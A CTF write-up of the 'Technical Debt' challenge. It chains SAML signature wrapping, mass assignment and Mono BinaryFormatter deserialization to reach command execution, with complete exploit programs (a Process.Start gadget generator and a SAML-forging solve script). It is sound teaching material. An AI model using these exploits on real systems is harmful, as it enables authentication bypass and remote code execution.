BrunnerCTF 2026 Writeup: Technical Debt
Description
We inherit an internal news board that was originally built for Windows/IIS, then “ported” to Linux with Mono and xsp4. The challenge gives us a normal user account and a deliberately fragile authentication and image-management implementation to investigate.
The live challenge credentials and connection details are omitted here because the instance is no longer available. They are not needed to understand the vulnerability chain.
TL;DR
The solve is a three-bug chain:
- SAML signature wrapping → Admin. The verifier accepts a signature buried in the original assertion, while the claims reader consumes a forged root assertion containing
NewsBoard-Admins. - Mass assignment → controlled bytes. As admin, upload an image and send an extra
Contentfield toRenameImageto replace the stored serialized blob. - Mono deserialization → command execution.
/News/Image/{id}deserializes the attacker-controlled blob. A Mono-compatible gadget runsfind, copies the random flag into/app/found_flag.txt, and makes it readable through the web server.
How to solve?
After logging in, the baseline page looks like this:

The normal post-login view. The User badge is useful as a baseline before trying to forge an admin session.
The challenge gives us an internal news board, a fake ADFS login server, and credentials for a normal user. The application is an ASP.NET MVC site running on Linux with Mono and xsp4. That porting detail is more than flavour text: it affects both the parser behaviour and the final deserialization gadget.
The solve has three parts:
- turn a signed normal-user SAML assertion into an admin session;
- use an image endpoint and mass assignment to store arbitrary bytes;
- make Mono deserialize those bytes and copy the flag into a file the web server can serve.
1. Understanding the application
The challenge archive contains an ASP.NET MVC application, a small Flask ADFS mock, and a Docker setup. The Dockerfile pins the web container to mono:6.6.0.161, installs mono-xsp4, and places the flag at the container root under a random filename:
RUN echo "brunner{REDACTED}" > /flag_`openssl rand -hex 8`.txtWORKDIR /appCMD ["xsp4", "--nonstop", "--address", "0.0.0.0", "--port", "8080", "--applications=/:."]The application serves /app, but the flag is outside that directory. A successful exploit therefore needs command execution. The command only has to copy /flag_* into /app/found_flag.txt; after that, a normal request can read it.
The challenge credentials are supplied in the prompt. I used them to establish the normal User session shown in the screenshot above. I am leaving the password out of this post because it is not needed to understand the vulnerability.
2. The login flow
The application does not process the password itself. When unauthenticated, it redirects to the ADFS mock with a WS-Federation request. The IdP login form carries hidden wreply, wctx, and wtrealm fields. After the credentials are accepted, the IdP returns an auto-submitting form containing wresult.
wresult is XML containing a SAML assertion. The browser sends that XML back to the application, which validates it and creates the session cookie.
The normal assertion contains claims such as:
<Attribute AttributeName="name"> <AttributeValue>john.doe@brunnerne.local</AttributeValue></Attribute><Attribute AttributeName="http://schemas.microsoft.com/ws/2008/06/identity/claims/groups"> <AttributeValue>NewsBoard-Users</AttributeValue></Attribute>The group controls the application role. NewsBoard-Users is read-only, while NewsBoard-Admins can manage images. The first useful signal is therefore simple: a normal login shows User; an accepted forged assertion should show Admin.

3. SAML signature wrapping
The interesting code is the custom signature validator in Startup.cs:
var signature = document .GetElementsByTagName("Signature", "http://www.w3.org/2000/09/xmldsig#") .OfType<XmlElement>() .SingleOrDefault();
var signedXml = new SamlSignedXml(document);signedXml.LoadXml(signature);The validator searches the whole XML document for one signature. The custom ID resolver then falls back to an XPath query that also searches the whole document:
public override XmlElement GetIdElement(XmlDocument document, string idValue){ var element = base.GetIdElement(document, idValue); if (element != null) return element;
return document.SelectSingleNode( "//*[@AssertionID='" + idValue.Replace("'", "'") + "']" ) as XmlElement;}An XML signature references an element by ID. Here, the signature verifier can find the signed assertion somewhere in the document, while the SAML claims reader later reads the root assertion. Those two consumers do not have to read the same assertion.
That is the signature-wrapping primitive: keep the original signed assertion unchanged for the verifier, then put attacker-controlled claims in the assertion the claims reader uses.
Failed attempts were useful
I tried a few shapes before finding the one that the exact library versions accepted:
| Attempt | Result | What it showed |
|---|---|---|
| Add admin groups to the original assertion | Authentication failed | The signature covers the original bytes |
| Put forged and original assertions side by side | Authentication failed | The application reads the first root element |
| Put the original assertion after the statements | Authentication failed | SAML child order matters |
Put the original inside <Advice> after the statements | Authentication failed | <Advice> must appear before statements |
Put the original outside RequestedSecurityToken | Authentication failed | The validator never reaches it |
Why does <Advice> work as the hiding spot? The strict SAML reader in
IdentityModel 5.3.0 throws on any unknown direct child of an assertion
(IDX11129). The single exception is ReadAdvice(), which explicitly parses
nested saml:Assertion elements inside <Advice>. That tolerance is exactly
why the untouched original assertion survives parsing there while the same XML
placed anywhere else gets rejected.
The working structure is one root assertion with this order:
Conditions -> Advice -> AuthenticationStatement -> AttributeStatementThe original assertion, including its signature, goes inside Advice. The root assertion gets a fresh AssertionID, the original issuer and audience values, fresh validity timestamps, and three group claims:
These values are not cosmetic. After the custom signature validator returns, the middleware re-validates issuer, audience, and lifetime against the token it received back — which is the forged root assertion — so every one of them must independently pass inspection.
NewsBoard-UsersNewsBoard-EditorsNewsBoard-AdminsThe validator sees exactly one signature. Its reference resolves to the untouched assertion buried in Advice. The SAML reader sees the new root assertion and extracts the admin group.
The important part of the forged XML looks like this:
<Assertion AssertionID="_fresh_id" Issuer="original_issuer"> <Conditions>...</Conditions> <Advice> <!-- the complete original signed assertion, unchanged --> </Advice> <AuthenticationStatement>...</AuthenticationStatement> <AttributeStatement> <Attribute AttributeName=".../groups"> <AttributeValue>NewsBoard-Admins</AttributeValue> </Attribute> </AttributeStatement></Assertion>The full logic is in forge_admin_token() in the supplied solve.py. The script logs in once to capture a genuine signed assertion and a second time to obtain a fresh, valid WS-Federation state value before posting the forged wresult.

4. From Admin to arbitrary bytes
Once the session is admin, the image management endpoints become available. The normal upload path creates a database row and serializes the image bytes with BinaryFormatter.
The dangerous part is the rename endpoint:
[HttpPost]public ActionResult RenameImage(NewsImage image){ if (!NewsBoardRoles.IsAdmin(User)) return new HttpStatusCodeResult(403); image.Name = (image.Name ?? string.Empty).Trim(); store.UpdateImage(image); return RedirectToAction("Admin");}NewsImage contains more than the name:
public class NewsImage{ public Guid Id { get; set; } public string Name { get; set; } public string ContentType { get; set; } public byte[] Content { get; set; }}The repository trusts every populated field:
public bool UpdateImage(NewsImage input){ var image = db.NewsImages.SingleOrDefault(i => i.Id == input.Id); if (image == null) return false;
image.Name = input.Name.Trim(); if (input.ContentType != null) image.ContentType = input.ContentType; if (input.Content != null) image.Content = input.Content; db.SaveChanges(); return true;}The form only needs Id and Name, but the MVC model binder also accepts a Content field. Sending Content=<base64 payload> overwrites the serialized image in the database. This is mass assignment: the server binds the whole model even though the endpoint intends to rename one field.
The relevant request is small:
s.post(APP + "/News/RenameImage", data={ "Id": image_id, "Name": "p", "ContentType": "image/png", "Content": payload,})5. The deserialization sink
The public image action has no permission check:
public ActionResult Image(Guid id){ var image = store.FindImage(id); if (image == null) return HttpNotFound();
using (var stream = new MemoryStream(image.Content)) { var imageBytes = new BinaryFormatter().Deserialize(stream) as byte[]; if (imageBytes == null) return HttpNotFound(); return File(imageBytes, image.ContentType); }}The original upload serializes an image byte array. The later rename request lets us replace that serialized value with a different BinaryFormatter object. A request to /News/Image/{id} deserializes attacker-controlled data.
The 404 response is useful here. If the gadget runs and returns an object that is not a byte[], the as byte[] cast produces null, so the controller returns 404. A 500 usually means the payload failed during deserialization.
6. Building a Mono-compatible gadget
The supplied gen.cs uses TypeConfuseDelegateMono. It creates a SortedSet<string> whose comparison delegate is changed to Process.Start before serialization. When the set is reconstructed, the comparison callback runs.
The core setup is:
Delegate da = new Comparison<string>(String.Compare);Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);IComparer<string> comp = Comparer<string>.Create(d);SortedSet<string> set = new SortedSet<string>(comp);set.Add(fileName);set.Add(arguments);The delegate invocation list is then replaced with Process.Start, and the set is serialized with BinaryFormatter. The generator must run under the same Mono version as the target:
docker run --rm \ -v "$PWD:/w" -w /w mono:6.6.0.161 \ sh -c 'mcs -out:gen.exe gen.cs && mono gen.exe ...'The quoting problem
The first command I tried used /bin/sh -c with nested quotes. Mono rejected the unbalanced argument string during deserialization, producing an HTTP 500.
Calling a simple executable directly worked:
file: /usr/bin/touchargs: /app/pwned1trigger: 404GET /pwned1: 200The flag filename is random, so the final command needs wildcard matching. Instead of invoking a shell, I used find, which performs the matching itself:
file: /usr/bin/findargs: / -maxdepth 1 -name flag_* -exec cp {} /app/found_flag.txt ;This avoids shell quoting completely. The gadget starts find, find locates the random flag file, and cp places it under /app, where xsp4 can serve it.
7. The complete programs
The two supplied programs have distinct jobs:
| File | Purpose |
|---|---|
solve.py | Replays the login flow and runs the complete attack chain |
gen.cs | Builds the Mono-compatible BinaryFormatter payload bytes |
These are the two programs used for the solve. The public version changes only the challenge host and account values to placeholders. Use them only against the authorised CTF instance.
gen.cs
using System;using System.Collections.Generic;using System.Diagnostics;using System.IO;using System.Reflection;using System.Runtime.Serialization.Formatters.Binary;
class Gen{ static SortedSet<string> Gadget(string fileName, string arguments) { Delegate da = new Comparison<string>(String.Compare); Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); IComparer<string> comp = Comparer<string>.Create(d); SortedSet<string> set = new SortedSet<string>(comp); set.Add(fileName); set.Add(arguments);
FieldInfo fi = typeof(MulticastDelegate).GetField("delegates", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); invoke_list[0] = new Func<string, string, Process>(Process.Start); invoke_list[1] = new Func<string, string, Process>(Process.Start); fi.SetValue(d, invoke_list);
return set; }
static void Main(string[] args) { string fileName = args[0]; string arguments = args[1]; SortedSet<string> set = Gadget(fileName, arguments); BinaryFormatter bf = new BinaryFormatter(); using (MemoryStream ms = new MemoryStream()) { bf.Serialize(ms, set); Console.WriteLine(Convert.ToBase64String(ms.ToArray())); } }}solve.py
#!/usr/bin/env python3"""Technical Debt (Brunnerne CTF) — full solve chain, self-contained.
1. login at mock ADFS as john.doe, capture signed wresult XML 2. SAML signature-wrap it -> Admin session (forged root assertion carries NewsBoard-Admins claim; the untouched original assertion hides inside <Advice>, so the signature check still passes on IT) 3. UploadImage (admin) -> creates news_images row 4. RenameImage mass assignment -> overwrites stored blob with ysoserial payload 5. GET /News/Image/{id} -> BinaryFormatter.Deserialize(payload) = RCE gadget runs: /usr/bin/find / -maxdepth 1 -name flag_* -exec cp {} /app/found_flag.txt ; 6. GET /found_flag.txt -> flag
Needs: pip install requests ; docker with mono:6.6.0.161 image ; gen.cs next to this file."""import htmlimport ioimport osimport reimport subprocessimport sysimport timeimport uuid
import requests
APP = "https://your-technical-debt-host"IDP = "https://your-adfs-host"USER = "the-supplied-username"PWD = "the-supplied-password"HERE = os.path.dirname(os.path.abspath(__file__))
PNG = bytes.fromhex( '89504e470d0a1a0a0000000d49484452000000010000000108060000001f15c489' '0000000a49444154789c6360000002000100ffff03000006000557bfabd40000' '000049454e44ae426082')
TS = lambda t: time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime(t))CN = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims"G = "http://schemas.microsoft.com/ws/2008/06/identity/claims/groups"
# ---------------------------------------------------------------- step 1def idp_login(): """Normal WS-Fed login; returns (session, wresult_xml, wreply, wctx).""" s = requests.Session() url = s.get(APP + "/", allow_redirects=False).headers["Location"] page = s.get(url).text field = lambda k: re.search(r'name="%s" value="([^"]*)"' % k, page).group(1) data = {"wreply": field("wreply"), "wctx": field("wctx"), "wtrealm": field("wtrealm"), "username": USER, "password": PWD} r = s.post(url, data=data) wresult = html.unescape(re.search(r'name="wresult" value="([^"]*)"', r.text).group(1)) return s, wresult, data["wreply"], data["wctx"]
def parse_original(wresult): orig = re.search(r'(<ns0:Assertion\b.*</ns0:Assertion>)', wresult, re.S).group(1) issuer = re.search(r'\bIssuer="([^"]+)"', orig).group(1) return orig, issuer
# ---------------------------------------------------------------- step 2def forge_admin_token(orig, issuer, realm): now, fid = time.time(), "_" + uuid.uuid4().hex subj = ('<Subject><NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:' f'unspecified">{USER}</NameIdentifier><SubjectConfirmation>' '<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer' '</ConfirmationMethod></SubjectConfirmation></Subject>') attrs = "".join( f'<Attribute AttributeName="{n}" AttributeNamespace="{CN}">' f'<AttributeValue>{v}</AttributeValue></Attribute>' for n, v in [("name", USER)] + [(G, g) for g in ("NewsBoard-Users", "NewsBoard-Editors", "NewsBoard-Admins")]) forged = ( f'<Assertion xmlns="urn:oasis:names:tc:SAML:1.0:assertion" MajorVersion="1" ' f'MinorVersion="1" AssertionID="{fid}" Issuer="{issuer}" IssueInstant="{TS(now)}">' f'<Conditions NotBefore="{TS(now-60)}" NotOnOrAfter="{TS(now+300)}">' f'<AudienceRestrictionCondition><Audience>{realm}</Audience></AudienceRestrictionCondition></Conditions>' # the original signed assertion hides here: signature check validates THIS, # claims are read from the root above -> Admin f'<Advice>{orig}</Advice>' f'<AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password" ' f'AuthenticationInstant="{TS(now)}">{subj}</AuthenticationStatement>' f'<AttributeStatement>{subj}{attrs}</AttributeStatement></Assertion>') return ('<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">' f'<t:RequestedSecurityToken>{forged}</t:RequestedSecurityToken></t:RequestSecurityTokenResponse>')
def admin_session(): _, wr, _, _ = idp_login() orig, issuer = parse_original(wr) tok = forge_admin_token(orig, issuer, APP.rstrip("/")) s, _, wreply2, wctx2 = idp_login() # fresh session/state for the POST # success may be a 302 redirect OR a plain 200; verify by content s.post(wreply2, data={"wa": "wsignin1.0", "wresult": tok, "wctx": wctx2}) assert "/News/Admin" in s.get(APP + "/News/Admin").text, "forged token rejected / not admin" return s
# ---------------------------------------------------------------- steps 3+4def upload_image(s): s.post(APP + "/News/UploadImage", files={"image": ("t.png", io.BytesIO(PNG), "image/png")}, data={"name": "t"}) ids = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', s.get(APP + "/News/Admin").text) return list(dict.fromkeys(ids))[0]
# ---------------------------------------------------------------- step 5 helperdef make_payload(): cmd_file = "/usr/bin/find" cmd_args = "/ -maxdepth 1 -name flag_* -exec cp {} /app/found_flag.txt ;" out = subprocess.check_output( ["docker", "run", "--rm", "-v", f"{HERE}:/w", "-w", "/w", "mono:6.6.0.161", "sh", "-c", "mcs -out:gen.exe gen.cs && mono gen.exe " f"'{cmd_file}' '{cmd_args}'"]) return out.decode().strip()
def main(): print("[*] logging in + forging Admin token ...") s = admin_session() print("[+] admin session OK")
print("[*] uploading decoy image ...") img = upload_image(s) print(f"[+] image id: {img}")
print("[*] building BinaryFormatter payload (docker mono) ...") payload = make_payload()
print("[*] poisoning blob via RenameImage mass assignment ...") s.post(APP + "/News/RenameImage", data={"Id": img, "Name": "p", "ContentType": "image/png", "Content": payload})
print("[*] triggering deserialization at /News/Image/%s ..." % img) st = s.get(APP + "/News/Image/" + img).status_code print(f"[*] trigger status: {st}")
r = s.get(APP + "/found_flag.txt") if r.status_code == 200: flag = r.text.strip() print("\n[+] FLAG:", flag) open(os.path.join(HERE, "flag.txt"), "w").write(flag + "\n") else: sys.exit("[-] exfil file not found (%d) — rerun trigger" % r.status_code)
if __name__ == "__main__": main()8. End-to-end run
The full solve.py performs the chain in this order:
login + capture signed wresultforge root assertion with NewsBoard-Adminspost forged wresult with fresh WS-Fed stateupload a small image and recover its GUIDbuild the Mono BinaryFormatter payloadoverwrite Content through RenameImagetrigger GET /News/Image/{id}GET /found_flag.txtThe important output was:
[*] logging in + forging Admin token ...[+] admin session OK[*] uploading decoy image ...[+] image id: 33e7ed3b-6c02-4be3-962c-1df2a19bb0fb[*] building BinaryFormatter payload (docker mono) ...[*] poisoning blob via RenameImage mass assignment ...[*] triggering deserialization at /News/Image/33e7ed3b-6c02-4be3-962c-1df2a19bb0fb ...[*] trigger status: 404
[+] FLAG: brunner{w3ll_4_l34st_1t_1s_1n_4_c0nt41n3r}Final flag
brunner{w3ll_4_l34st_1t_1s_1n_4_c0nt41n3r}What we learn
- Signature checks and data readers must agree. The bug was not broken cryptography but a scope mismatch: the verifier searched the whole document for the sealed element while the claims reader parsed the root assertion. When two components look at different parts of one document, an attacker can show each of them something different. OWASP’s SAML Security Cheat Sheet describes the same class of signature-wrapping failure and its validation rules.
- Strict parsers have exceptions — find them. The exploit survived because
ReadAdvice()tolerates nested assertions. Knowing the exact library version — Katana 4.2.2 and IdentityModel 5.3.0 — and reading its source turned trial and error into a set of rules we could satisfy deliberately. - Bind explicit input models.
RenameImagebound a full database entity, so an extra form field overwrote image bytes. A small DTO containing onlyIdandNamemakes that mass assignment impossible by construction. - BinaryFormatter on client-controlled bytes is remote code execution. Deserialization rebuilds objects and runs their logic; store image blobs as raw bytes and serve them without rebuilding anything.
- Chains beat single bugs. Signature wrapping alone only grants admin, mass assignment alone only writes a blob, BinaryFormatter alone needs controlled bytes. Composed, they become unauthenticated-feeling full RCE.
- Build yourself an oracle. The homepage role badge gave a binary success/failure signal, and the 404-vs-500 trigger status distinguished a clean gadget run from a crashed payload — cheap feedback that made debugging six failed XML shapes fast.
References and further reading
- OWASP SAML Security Cheat Sheet — signature scope, schema validation, and XML signature wrapping.
- Katana 4.2.2 source and IdentityModel 5.3.0 source — the versions used by the challenge.
- OWASP Mass Assignment Cheat Sheet — why binding a full entity is dangerous and why DTOs help.
- Microsoft BinaryFormatter security guide — why
BinaryFormatter.Deserializemust not process untrusted bytes.
Share Article
If this article helped you, please share it with others!














